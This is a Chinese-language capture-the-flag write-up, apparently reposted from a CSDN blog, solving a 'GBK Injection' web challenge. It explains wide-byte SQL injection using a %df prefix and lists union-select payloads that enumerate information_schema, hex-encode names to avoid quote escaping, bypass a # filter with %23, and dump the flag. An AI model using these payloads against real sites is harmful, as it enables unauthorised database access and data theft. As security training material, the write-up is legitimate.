CG CTF-Web-GBK Injection

WP

由题目可知,这是一道宽字节注入的题目,就是不知道具体的题目是只进行宽字节的绕过即可还是里面还会过滤其他的字符。
宽字节注入的原理其实简单概括来就是:数据库编码为GBK时,加%df再加单引号,单引号转义出的反斜杠编码为%5c,在GBK编码中,%df%5c是繁体字,这时单引号成功逃逸。

首先打开题目,如下:
在这里插入图片描述
发现注入点是’1’。直接注入1’ --+会发现单引号被转义了,因此可以试试宽字节注入。

?id=1%df' and 1=1 --+

在这里插入图片描述
发现注入成功,之后就是正常的union注入方式。

?id=1%df' and 1=2 --+
?id=1%df' order by 2      --+
?id=1%df' order by 3      --+
?id=0%df' union select 1,2      --+
?id=0%df' union select 1,database()

接下来我遇到了一个问题,当这样注入的时候,发现失败了。

?id=0%df' union select 1,group_concat(TABLE_NAME) FROM information_schema.tables where TABLE_SCHEMA='sae-chinalover'      --+

一开始我以为是我哪里输错了,最后仔细看才发现,是因为最后的TABLE_SCHEMA那里还有单引号。这时候我看了WP才知道一个点,就是用十六进制来绕过字符转义。sae-chinalover的十六进制是0x7361652d6368696e616c6f766572,因此绕过字符转义后再进行注入。

?id=0%df' union select 1,group_concat(TABLE_NAME) FROM information_schema.tables where TABLE_SCHEMA=0x7361652d6368696e616c6f766572      --+

这里绕过了尝试,直接注入gbksqli数据库。

?id=0%df' union select 1,group_concat(COLUMN_NAME) FROM information_schema.columns where TABLE_NAME=0x67626b73716c69      --+
?id=0%df' union select 1,group_concat(flag) FROM gbksqli      --+

这样就得到了flag。

总结

这题我做的其实很不顺利,用十六进制来绕过字符转义那里彻底把我卡住了。https://www.cnblogs.com/Vinson404/p/7253255.html
这个文章列出了一些绕过的方法,我觉得可以看一看。
另外,-- -也可以注释。这题的注释不能用#,因为对#进行了过滤,但我们可以使用%23进行绕过。
得到的flag应该是nctf{gbk_3sqli}叭,为什么我输入说错误呢。。。。????

猜你喜欢

转载自blog.csdn.net/rfrder/article/details/108428046